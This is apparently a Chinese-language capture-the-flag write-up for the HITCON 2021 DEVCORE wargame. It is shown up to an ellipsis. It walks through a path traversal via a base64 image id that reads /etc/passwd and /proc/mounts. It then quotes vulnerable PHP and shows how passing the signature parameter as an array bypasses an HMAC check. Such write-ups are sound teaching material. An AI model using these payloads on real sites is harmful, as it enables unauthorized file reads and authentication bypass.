HITCON 2021 DEVCORE Wargame Writeup

Flag 1 在首頁可以看到一張圖片,URL長成這樣。 http://web.ctf.devcore.tw/image.php?id=aHBfbTI4M2Zkdy5qcGc= 其中 aHBfbTI4M2Zkdy5qcGc= 拿去 base64 deocde 會變成 hp_m283fdw.jpg ,發現是一個檔名, 這裡可以嘗試 path traversal。 嘗試讀取 ../../../../etc/passwd 成功,繼續嘗試讀取 source code。 先讀取 mount device ../../../../proc/mounts,嘗試找出 web root。 /dev/sda /usr/share/nginx/frontend ext4 ro,relatime,errors=remount-ro,data=ordered 0 0 /dev/sda /usr/share/nginx/images ext4 rw,relatime,errors=remount-ro,data=ordered 0 0 /dev/sda /usr/share/nginx/b8ck3nd ext4 ro,relatime,errors=remount-ro,data=ordered 0 0 接著讀取 /usr/share/nginx/frontend/index.php 可以發現首頁的 source code。 裡面有引入 include.php,讀取 include.php 後可以在裡面發現第一個 flag。 Flag 2 在 order.php 中,可以看到 sig 沒有做型別的驗證,可以利用 PHP 的弱型別繞過程式中的 sig 驗證。 # order.php require_once('include.php'); $id = get_get_param('id', ''); $sig = get_get_param('sig', ''); if (empty($id) || empty($sig)) { header('Location: /'); exit(); } $id = intval($id); $pdo = get_pdo(); $res = $pdo->query('SELECT * FROM orders WHERE id = '.$id, PDO::FETCH_ASSOC); $order = $res->fetch(); if (!$order) { $_SESSION['error_msg'] = '找不到此訂單'; require_once('error.php'); } $sig_hash = get_sig_hash($sig); if ($sig_hash && $sig_hash != $order['sig_hash']) { $_SESSION['error_msg'] = '訂單網址參數錯誤'; require_once('error.php'); } switch ($order['status']) { case ORDER_STATUS_PICKING: $step = 1; break; case ORDER_STATUS_PACKING: $step = 2; break; case ORDER_STATUS_SENDING: $step = 3; break; case ORDER_STATUS_DELIVERING: $step = 4; break; case ORDER_STATUS_ARRIVED: $step = 5; break; case ORDER_STATUS_FINISH: $step = 6; break; } # include.php function get_sig_hash($data) { $pdo = get_pdo(); $res = $pdo->query("SELECT `value` FROM options WHERE `key` = 'sig_secret' LIMIT 1", PDO::FETCH_ASSOC); $row = $res->fetch(); if (!$row) { $secret = random_str(64); $pdo->exec("INSERT INTO options VALUES ('sig_secret', '".$secret."'), ('sig_algorithm', 'sha256')"); } else { $secret = $row['value']; } $res = $pdo->query("SELECT `value` FROM options WHERE `key` = 'sig_algorithm' LIMIT 1", PDO::FETCH_ASSOC); $algo = $res->fetch()['value']; return hash_hmac($algo, $data, $secret); } 如果將 sig 以陣列的方式傳入 if ($sig_hash && $sig_hash != $order['sig_hash']) 結果會變成 if (NULL && NULL != "abc") 恆為 False。 ...

2021-11-30 · Gary Tan